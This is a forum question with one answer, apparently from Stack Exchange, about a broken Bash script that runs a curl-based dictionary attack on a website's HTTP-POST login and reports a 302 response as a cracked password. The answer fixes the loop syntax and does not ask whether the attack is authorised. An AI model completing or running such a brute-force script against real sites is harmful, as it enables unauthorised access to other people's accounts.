I'm fairly new to Bash, but this is a script I've been working on for the past few days. It's meant to run a dictionary attack on an HTTP-POST login for a website, by reading the time module and sending a login request to said website every amount of seconds I set it to. However, I'm running into issues.

echo -e "Initiating password cracking session...\n"
echo -e "Seconds per password attempt: \c"

read TIME

if [ "$TIME" -lt "2" ];
echo -e "Servers may block out attempts when initiated too frequently,     cracking session will begin anyways.\n"

if [ "$TIME" -gt "2" ];
echo -e "Cracking session will take too long to initiate. Session will     continue anyways.\n"

function control_c {
tput setaf 2; echo -en "                                                                Password     cracking session deactivated.\n"
exit $?

trap control_c SIGINT

for (( ; ; ))
echo -e "Username: \c"

read user

echo -e "Wordlist: \c"

read pass

for user do
  for pass in pass do
    http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)
    if [[ $http_code -eq 302 ]]; then
      echo "Success: User: '$user' Pass: '$pass'"
      break 2
sleep $TIME

As a side note, I have absolutely zero knowledge with cURL, and the syntax relating to cURL above is purely that which I've read on other websites. I get the error message: syntax error near unexpected token http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)' ./jmc.sh: line 36: http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)'

What is it that I'm doing wrong? Once again, I'm new to both Bash and cURL, so please forgive me if my script seems to be way out of line.

1 Answer 1


To be short, I intentionally don't mention (many) things you "should" or "shouldn't", just focus on the syntax error.

  • for user do: for in this context must be in the format of for loop_variable in list; do (although I can't see what you would wish to have a loop for here)
  • for pass in pass do: just as in the previous line, the semicolon is missing (or, if you don't like semicolons, you can write do in the next line (but I can't see reasons of a loop here either)

One thing I must mention in addition: -o /root/Desktop would mean "put the output into a file called /root/Desktop". I guess you already have a directory with this name, so you must give the file something different..

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.